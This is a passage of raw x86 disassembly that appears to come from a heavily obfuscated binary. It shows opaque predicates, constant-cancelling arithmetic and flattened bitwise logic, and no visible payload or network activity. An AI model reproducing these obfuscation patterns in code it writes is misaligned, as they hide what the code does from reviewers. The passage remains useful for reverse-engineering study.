xor cl, 0xff
and cl, al
mov al, byte [ebp - 0xc7c]
xor al, 0xff
mov bh, byte [ebp - 0xc6b]
xor bh, al
mov al, byte [ebp - 0xc6b]
and bh, al
mov al, byte [ebp - 0xc7b]
xor al, 0xff
mov byte [ebp - 0xc7d], al
mov al, dl
xor al, 0
mov byte [ebp - 0xc7e], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc7f], al
mov al, byte [ebp - 0xc7d]
mov byte [ebp - 0xc80], cl
mov cl, byte [ebp - 0xc7e]
or al, cl
mov cl, byte [ebp - 0xc7f]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0xc7c]
xor cl, 0xff
mov byte [ebp - 0xc81], al
mov al, byte [ebp - 0xc60]
xor al, cl
mov cl, byte [ebp - 0xc60]
and al, cl
mov cl, byte [ebp - 0xc80]
and cl, bh
mov byte [ebp - 0xc82], al
mov al, byte [ebp - 0xc80]
xor al, bh
or cl, al
mov al, byte [ebp - 0xc81]
xor al, 0xff
mov bh, byte [ebp - 0xc82]
xor bh, 0xff
mov byte [ebp - 0xc83], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc84], al
mov al, byte [ebp - 0xc83]
and al, 0xff
mov byte [ebp - 0xc85], al
mov al, byte [ebp - 0xc81]
mov byte [ebp - 0xc86], cl
mov cl, byte [ebp - 0xc84]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0xc87], al
mov al, byte [ebp - 0xc82]
mov byte [ebp - 0xc88], cl
mov cl, byte [ebp - 0xc84]
and al, cl
mov cl, byte [ebp - 0xc85]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xc87]
or cl, al
mov al, byte [ebp - 0xc88]
mov byte [ebp - 0xc8a], cl
mov cl, byte [ebp - 0xc89]
or al, cl
mov cl, byte [ebp - 0xc8a]
xor cl, al
mov al, byte [ebp - 0xc83]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0xc84]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0xc86]
xor al, 0xff
mov bh, cl
and bh, al
xor cl, 0xff
mov al, byte [ebp - 0xc86]
and al, cl
or bh, al
mov al, byte [ebp - 0xc77]
mov cl, byte [ebp - 0xc7b]
and al, cl
mov cl, byte [ebp - 0xc77]
mov byte [ebp - 0xc8b], al
mov al, byte [ebp - 0xc7b]
xor cl, al
mov al, byte [ebp - 0xc8b]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0xc8c], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc8d], al
mov al, byte [ebp - 0xc8c]
mov byte [ebp - 0xc8e], cl
mov cl, byte [ebp - 0xc8d]
and al, cl
mov cl, byte [ebp - 0xc8e]
or cl, al
mov al, byte [ebp - 0xc7c]
and al, 0
mov byte [ebp - 0xc8f], al
mov al, byte [ebp - 0xc7c]
xor al, 0
mov byte [ebp - 0xc90], al
mov al, byte [ebp - 0xc8f]
mov byte [ebp - 0xc91], cl
mov cl, byte [ebp - 0xc90]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0xc91]
xor cl, al
mov al, byte [ebp - 0xc91]
and cl, al
mov al, bh
and al, cl
xor bh, cl
or al, bh
mov cl, dh
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xc92], al
mov al, dh
and al, bh
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xc93], al
mov al, bl
and al, bh
mov bh, byte [ebp - 0xc93]
or bh, al
mov al, dl
xor al, 0
and al, 0
mov byte [ebp - 0xc94], al
mov al, dl
xor al, 0
mov byte [ebp - 0xc95], al
and al, 0
mov byte [ebp - 0xc96], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0xc97], al
mov al, byte [ebp - 0xc95]
and al, 1
mov byte [ebp - 0xc98], al
mov al, byte [ebp - 0xc94]
mov byte [ebp - 0xc99], cl
mov cl, byte [ebp - 0xc96]
or al, cl
mov cl, byte [ebp - 0xc97]
mov byte [ebp - 0xc9a], al
mov al, byte [ebp - 0xc98]
or cl, al
mov al, byte [ebp - 0xc9a]
xor al, cl
mov cl, byte [ebp - 0xc99]
xor cl, 0xff
mov byte [ebp - 0xc9b], al
mov al, dl
xor al, 0
mov byte [ebp - 0xc9c], al
mov al, dl
xor al, 0
mov byte [ebp - 0xc9d], al
mov al, byte [ebp - 0xc9c]
or cl, al
mov al, byte [ebp - 0xc9d]
or al, 0
xor cl, 0xff
and cl, al
xor dh, 0xff
mov al, byte [ebp - 0xc9b]
xor al, 0xff
mov byte [ebp - 0xc9e], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc9f], al
mov al, byte [ebp - 0xc9e]
or dh, al
mov al, byte [ebp - 0xc9f]
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0
mov byte [ebp - 0xca0], al
mov al, bh
mov byte [ebp - 0xca1], cl
mov cl, byte [ebp - 0xca0]
xor al, cl
and al, bh
xor bl, 0xff
mov cl, byte [ebp - 0xc9b]
xor cl, 0xff
mov byte [ebp - 0xca2], al
mov al, dl
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0xca1]
and al, dh
mov cl, byte [ebp - 0xca1]
xor cl, dh
or al, cl
mov cl, byte [ebp - 0xca2]
xor cl, 0xff
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0xca3], al
mov al, dl
xor al, 0
mov byte [ebp - 0xca4], al
mov al, cl
and al, 0
mov byte [ebp - 0xca5], al
mov al, byte [ebp - 0xca2]
mov byte [ebp - 0xca6], cl
mov cl, byte [ebp - 0xca4]
and al, cl
mov cl, dh
and cl, 0
mov byte [ebp - 0xca7], al
mov al, byte [ebp - 0xca4]
and bl, al
mov al, byte [ebp - 0xca5]
mov byte [ebp - 0xca8], cl
mov cl, byte [ebp - 0xca7]
or al, cl
mov cl, byte [ebp - 0xca8]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0xca6]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0xca4]
or dh, 0
and cl, dh
or al, cl
mov cl, byte [ebp - 0xca3]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0xca3]
and bl, dh
mov byte [ebp - 0xca9], al
xor al, 0xff
and al, 0
mov byte [ebp - 0xcaa], al
mov al, byte [ebp - 0xca9]
and al, dh
or cl, bl
mov dh, byte [ebp - 0xcaa]
or dh, al
xor cl, dh
mov al, byte [ebp - 0xc99]
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0xcab], al
and al, 0
mov byte [ebp - 0xcac], al
mov al, byte [ebp - 0xc99]
and al, bl
mov byte [ebp - 0xcad], al
mov al, dh
and al, 0
and bh, bl
mov byte [ebp - 0xcae], al
mov al, byte [ebp - 0xcac]
mov byte [ebp - 0xcaf], cl
mov cl, byte [ebp - 0xcad]
or al, cl
mov cl, byte [ebp - 0xcae]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0xcab]
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
or cl, al
mov al, byte [ebp - 0xc9b]
and al, 0
mov dh, byte [ebp - 0xc9b]
xor dh, 0
or al, dh
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or cl, al
or dh, 1
xor cl, 0xff
and cl, dh
mov al, byte [ebp - 0xcaf]
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0xcb0], al
mov al, byte [ebp - 0xcaf]
and al, bl
mov byte [ebp - 0xcb1], al
mov al, dh
and al, 0
and cl, bl
mov byte [ebp - 0xcb2], al
mov al, byte [ebp - 0xcb1]
or bh, al
mov al, byte [ebp - 0xcb2]
or al, cl
xor bh, al
mov al, byte [ebp - 0xcb0]
or al, dh
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, byte [ebp - 0xc92]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0xc92]
and dh, cl
or al, dh
mov cl, dl
xor cl, 1
xor al, 0xff
mov dh, dl
xor dh, 1
or cl, al
or dh, 1
xor cl, 0xff
and cl, dh
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0xc92]
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xcb3], al
mov al, dl
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xcb4], al
mov al, bh
and al, bl
mov bl, byte [ebp - 0xcb4]
or bl, al
mov al, dl
xor al, 1
mov byte [ebp - 0xcb5], al
mov al, bl
mov byte [ebp - 0xcb6], cl
mov cl, byte [ebp - 0xcb5]
xor al, cl
and al, bl
xor bh, 0xff
mov cl, byte [ebp - 0xcb3]
xor cl, 0xff
mov bl, dl
xor bl, 1
or bh, cl
or bl, 1
xor bh, 0xff
and bh, bl
mov cl, byte [ebp - 0xcb6]
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0xcb7], al
mov al, dl
xor al, 1
mov byte [ebp - 0xcb8], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xcb9], al
mov al, byte [ebp - 0xcb6]
mov byte [ebp - 0xcba], cl
mov cl, byte [ebp - 0xcb8]
and al, cl
mov cl, bl
and cl, 0xff
mov byte [ebp - 0xcbb], al
mov al, byte [ebp - 0xcb8]
and dh, al
mov al, byte [ebp - 0xcb9]
mov byte [ebp - 0xcbc], cl
mov cl, byte [ebp - 0xcbb]
or al, cl
mov cl, byte [ebp - 0xcbc]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0xcba]
or cl, bl
xor cl, 0xff
mov dh, byte [ebp - 0xcb8]
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0xcb7]
and cl, bh
mov dh, byte [ebp - 0xcb7]
xor dh, bh
or cl, dh
mov dh, al
xor dh, 0xff
mov bl, cl
and bl, dh
xor cl, 0xff
and al, cl
or bl, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, ch
and dh, cl
or al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, ah
and bh, dh
mov byte [ebp - 0xcbd], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, dl
xor al, 0
and al, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0xcbe], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0xcbf], al
mov al, byte [ebp - 0xcbe]
or al, bh
mov bh, byte [ebp - 0xcbf]
or bh, dh
xor al, bh
mov dh, byte [ebp - 0xcbd]
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xcc0], al
mov al, dl
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0xcc0]
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov al, dl
xor al, 0
mov ch, cl
xor ch, al
and ch, cl
xor ah, 0xff
mov al, byte [ebp - 0xcc0]
xor al, 0xff
mov byte [ebp - 0xcc1], al
mov al, dl
xor al, 0
mov byte [ebp - 0xcc2], al
mov al, byte [ebp - 0xcc1]
or ah, al
mov al, byte [ebp - 0xcc2]
or al, 0
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0xcc3], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0xcc4], al
mov al, dl
xor al, 0
mov byte [ebp - 0xcc5], al
mov al, byte [ebp - 0xcc3]
and al, 0
mov byte [ebp - 0xcc6], al
mov al, byte [ebp - 0xcc5]
and dh, al
mov al, byte [ebp - 0xcc4]
and al, 0
mov byte [ebp - 0xcc7], al
mov al, byte [ebp - 0xcc5]
and bh, al
mov al, byte [ebp - 0xcc6]
or al, dh
mov dh, byte [ebp - 0xcc7]
or dh, bh
xor al, dh
mov dh, byte [ebp - 0xcc3]
mov bh, byte [ebp - 0xcc4]
or dh, bh
xor dh, 0xff
mov bh, byte [ebp - 0xcc5]
or bh, 0
and dh, bh
or al, dh
mov dh, ch
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0xcc8], al
mov al, dl
xor al, 1
mov byte [ebp - 0xcc9], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xcca], al
mov al, byte [ebp - 0xcc9]
and ch, al
mov al, bh
and al, 0xff
mov byte [ebp - 0xccb], al
mov al, byte [ebp - 0xcc9]
and ah, al
mov al, byte [ebp - 0xcca]
or al, ch
mov ch, byte [ebp - 0xccb]
or ch, ah
xor al, ch
or dh, bh
xor dh, 0xff
mov ah, byte [ebp - 0xcc9]
or ah, 1
and dh, ah
or al, dh
mov ah, byte [ebp - 0xcc8]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0xcc8]
and dh, ch
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ch
or ah, dh
or bh, al
xor ah, bh
mov al, byte [ebp - 0xcbd]
and al, cl
mov ch, byte [ebp - 0xcbd]
xor ch, cl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or cl, al
or dh, ch
xor cl, dh
mov al, dl
xor al, 0
mov ch, byte [ebp - 0xcc0]
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0xccc], al
mov al, dh
and al, 0
mov byte [ebp - 0xccd], al
mov al, ch
and al, 0xff
mov byte [ebp - 0xcce], al
mov al, byte [ebp - 0xcc0]
and al, dh
mov byte [ebp - 0xccf], al
mov al, byte [ebp - 0xccd]
or bh, al
mov al, byte [ebp - 0xcce]
mov byte [ebp - 0xcd0], cl
mov cl, byte [ebp - 0xccf]
or al, cl
xor bh, al
mov al, byte [ebp - 0xccc]
or al, ch
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov al, byte [ebp - 0xcd0]
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, ah
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, cl
and bh, 0
and ah, dh
mov byte [ebp - 0xcd1], al
mov al, ch
and al, 0
mov byte [ebp - 0xcd2], al
mov al, byte [ebp - 0xcd1]
and al, dh
or bh, ah
mov ah, byte [ebp - 0xcd2]
or ah, al
xor bh, ah
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or bh, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bh
and ah, cl
or al, ah
xor al, 0xff
xor al, 0
and al, 0
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 0
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, cl
xor ah, 0xff
mov ch, bh
xor ch, ah
and ch, bh
mov ah, dl
xor ah, 1
and ah, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0xcd3], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov al, dl
xor al, 0
mov dh, ah
xor dh, al
and dh, ah
mov al, dl
xor al, 1
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, byte [ebp - 0xcd3]
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xcd4], al
mov al, cl
and al, 0
mov byte [ebp - 0xcd5], al
mov al, byte [ebp - 0xcd3]
and al, bh
mov byte [ebp - 0xcd6], al
mov al, ah
and al, 0
and ch, bh
mov byte [ebp - 0xcd7], al
mov al, byte [ebp - 0xcd5]
mov byte [ebp - 0xcd8], cl
mov cl, byte [ebp - 0xcd6]
or al, cl
mov cl, byte [ebp - 0xcd7]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0xcd8]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dh
xor cl, 0xff
mov ah, byte [ebp - 0xcd4]
xor ah, 0xff
mov ch, dl
xor ch, 0
mov bh, cl
and bh, 0
and dh, ch
mov byte [ebp - 0xcd9], al
mov al, ah
and al, 0
mov byte [ebp - 0xcda], al
mov al, byte [ebp - 0xcd4]
and al, ch
or bh, dh
mov dh, byte [ebp - 0xcda]
or dh, al
xor bh, dh
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or bh, cl
mov al, byte [ebp - 0xcd9]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0xcd9]
and ah, cl
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, cl
or al, ah
or ch, bh
xor al, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
mov ah, byte [ebp - 0xc5c]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0xc5c]
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, cl
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0xcdb], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0xcdc], al
mov al, dl
xor al, 0
mov byte [ebp - 0xcdd], al
mov al, byte [ebp - 0xcdc]
or al, bh
mov bh, byte [ebp - 0xcdd]
or bh, 0
xor al, 0xff
and al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0xcde], al
mov al, ah
xor al, bh
and al, ah
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0xcdf], al
mov al, byte [ebp - 0xc5c]
xor al, bh
mov bh, byte [ebp - 0xc5c]
and al, bh
mov bh, dh
mov byte [ebp - 0xce0], al
mov al, byte [ebp - 0xcde]
and bh, al
xor dh, al
or bh, dh
mov dh, byte [ebp - 0xcdf]
xor dh, 0xff
mov al, byte [ebp - 0xce0]
xor al, 0xff
mov byte [ebp - 0xce1], al
mov al, dl
xor al, 0
mov byte [ebp - 0xce2], al
mov al, dh
and al, 0
mov byte [ebp - 0xce3], al
mov al, byte [ebp - 0xcdf]
mov byte [ebp - 0xce4], cl
mov cl, byte [ebp - 0xce2]
and al, cl
mov cl, byte [ebp - 0xce1]
and cl, 0
mov byte [ebp - 0xce5], al
mov al, byte [ebp - 0xce0]
mov byte [ebp - 0xce6], cl
mov cl, byte [ebp - 0xce2]
and al, cl
mov cl, byte [ebp - 0xce3]
mov byte [ebp - 0xce7], al
mov al, byte [ebp - 0xce5]
or cl, al
mov al, byte [ebp - 0xce6]
mov byte [ebp - 0xce8], cl
mov cl, byte [ebp - 0xce7]
or al, cl
mov cl, byte [ebp - 0xce8]
xor cl, al
mov al, byte [ebp - 0xce1]
or dh, al
xor dh, 0xff
mov al, byte [ebp - 0xce2]
or al, 0
and dh, al
or cl, dh
mov al, bh
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
and bh, dh
mov byte [ebp - 0xce9], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
mov dh, byte [ebp - 0xce9]
or dh, bh
or al, cl
xor dh, al
mov al, byte [ebp - 0xce4]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xcea], al
and al, 0
mov byte [ebp - 0xceb], al
mov al, byte [ebp - 0xce4]
and al, bh
mov byte [ebp - 0xcec], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0xced], al
mov al, byte [ebp - 0xceb]
mov byte [ebp - 0xcee], cl
mov cl, byte [ebp - 0xcec]
or al, cl
mov cl, byte [ebp - 0xced]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0xcea]
mov ah, byte [ebp - 0xcee]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
and al, bh
or cl, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, 0xff
mov ah, dl
xor ah, 1
mov byte [ebp - 0xcef], al
and al, 0xff
mov byte [ebp - 0xcf0], al
mov al, ah
and al, 1
mov byte [ebp - 0xcf1], al
mov al, bh
and al, 0xff
and ch, ah
mov byte [ebp - 0xcf2], al
mov al, byte [ebp - 0xcf0]
mov byte [ebp - 0xcf3], cl
mov cl, byte [ebp - 0xcf1]
or al, cl
mov cl, byte [ebp - 0xcf2]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0xcef]
or cl, bh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0xcf3]
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dh
and al, cl
xor dh, cl
or al, dh
mov cl, byte [ebp - 0xcdb]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0xcdb]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0xcf4], al
mov al, ch
and al, 0xff
and cl, bh
mov byte [ebp - 0xcf5], al
mov al, dh
and al, 0xff
and ah, bh
mov byte [ebp - 0xcf6], al
mov al, byte [ebp - 0xcf5]
or al, cl
mov cl, byte [ebp - 0xcf6]
or cl, ah
xor al, cl
or ch, dh
xor ch, 0xff
or bh, 1
and ch, bh
or al, ch
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0xcf4]
xor ah, 0xff
mov ch, dl
xor ch, 0
mov dh, cl
and dh, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0xcf7], al
mov al, ah
and al, 0
mov byte [ebp - 0xcf8], al
mov al, byte [ebp - 0xcf4]
and al, ch
or dh, bh
mov bh, byte [ebp - 0xcf8]
or bh, al
xor dh, bh
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or dh, cl
mov al, byte [ebp - 0xcf7]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0xcf7]
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
xor al, 0xff
xor dh, 0xff
mov cl, dl
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, dh
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, cl
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0xcf9], al
mov al, dl
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
mov bh, bl
xor bh, al
and bh, bl
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0xcfa], al
mov al, dl
xor al, 0
mov byte [ebp - 0xcfb], al
mov al, byte [ebp - 0xcfa]
or al, bl
mov bl, byte [ebp - 0xcfb]
or bl, 0
xor al, 0xff
and al, bl
mov bl, byte [ebp - 0xcf9]
xor bl, 0xff
mov byte [ebp - 0xcfc], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0xcfd], al
mov al, dl
xor al, 1
mov byte [ebp - 0xcfe], al
mov al, byte [ebp - 0xcfd]
or bl, al
mov al, byte [ebp - 0xcfe]
or al, 1
xor bl, 0xff
and bl, al
mov al, dh
and al, bh
xor dh, bh
or al, dh
mov dh, byte [ebp - 0xcfc]
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0xcff], al
mov al, dl
xor al, 0
mov byte [ebp - 0xd00], al
mov al, dh
and al, 0
mov byte [ebp - 0xd01], al
mov al, byte [ebp - 0xcfc]
mov byte [ebp - 0xd02], cl
mov cl, byte [ebp - 0xd00]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0xd03], al
mov al, byte [ebp - 0xd00]
and bl, al
mov al, byte [ebp - 0xd01]
mov byte [ebp - 0xd04], cl
mov cl, byte [ebp - 0xd03]
or al, cl
mov cl, byte [ebp - 0xd04]
or cl, bl
xor al, cl
or dh, bh
xor dh, 0xff
mov cl, byte [ebp - 0xd00]
or cl, 0
and dh, cl
or al, dh
mov cl, byte [ebp - 0xcff]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0xcff]
and cl, al
or dh, cl
mov al, byte [ebp - 0xd02]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0xd05], al
mov al, byte [ebp - 0xd02]
and al, bl
mov byte [ebp - 0xd06], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0xd07], al
mov al, byte [ebp - 0xd06]
or bh, al
mov al, byte [ebp - 0xd07]
or al, ah
xor bh, al
mov al, byte [ebp - 0xd05]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, bh
or ah, cl
xor al, ah
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dh
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor dl, 1
mov ch, al
and ch, 0xff
and dh, dl
mov bl, cl
and bl, 0xff
and ah, dl
or ch, dh
or bl, ah
xor ch, bl
or al, cl
xor al, 0xff
or dl, 1
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0xc3c]
mov edi, dword [ebp - 0xc48]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xeb99b821
mov ecx, 0x38ddd9bc
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0xe28], eax
mov eax, edi
add eax, 0xc6a47bf8
sub eax, 0x21ae9b19
sub eax, 0xc6a47bf8
add eax, 0xa23a19b2
sub eax, 0x5f394315
sub eax, 0xa23a19b2
add eax, 0xd42bc840
add eax, 0x21ae9b19
sub eax, 0xd42bc840
sub eax, 0x30797976
add eax, 0x7f448c0f
add eax, 0x30797976
add eax, 0xf105009f
sub eax, 1
sub eax, 0xf105009f
add eax, 0x90b343b1
sub eax, 0x7f448c0f
sub eax, 0x90b343b1
sub esi, 0x5f394315
add esi, 0
sub eax, 0xc4733ee9
sub eax, esi
add eax, 0xc4733ee9
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
mov byte [ebp - 0xe29], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dh
xor al, 0xff
mov bl, ah
and bl, al
xor ah, 0xff
mov al, dh
and al, ah
or bl, al
mov al, dh
xor al, 0xff
mov ah, bl
xor ah, al
and ah, bl
mov al, dh
xor al, 0xff
and al, 0
mov bl, dl
xor bl, 0
mov bh, dh
and bh, bl
mov byte [ebp - 0xe2a], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0xe2b], al
mov al, byte [ebp - 0xe2a]
or al, bh
mov bh, byte [ebp - 0xe2b]
or bh, bl
xor al, bh
xor al, 0xff
xor al, 0
and al, 0
mov bl, dl
xor bl, 0
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
or bl, bh
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0xe2c], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0xe29]
xor al, 0xff
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0xe2d], al
mov al, byte [ebp - 0xe29]
and al, bh
mov byte [ebp - 0xe2e], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0xe2f], al
mov al, byte [ebp - 0xe2d]
mov dword [ebp - 0xe34], ecx
mov cl, byte [ebp - 0xe2e]
or al, cl
mov cl, byte [ebp - 0xe2f]
or cl, bh
xor al, cl
mov cl, dl
xor cl, 0
mov bh, al
xor bh, cl
and bh, al
xor bl, 0xff
mov al, byte [ebp - 0xe29]
xor al, bl
mov cl, byte [ebp - 0xe29]
and al, cl
mov bl, byte [ebp - 0xe2c]
xor bl, 0xff
mov ch, dh
xor ch, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0xe35], al
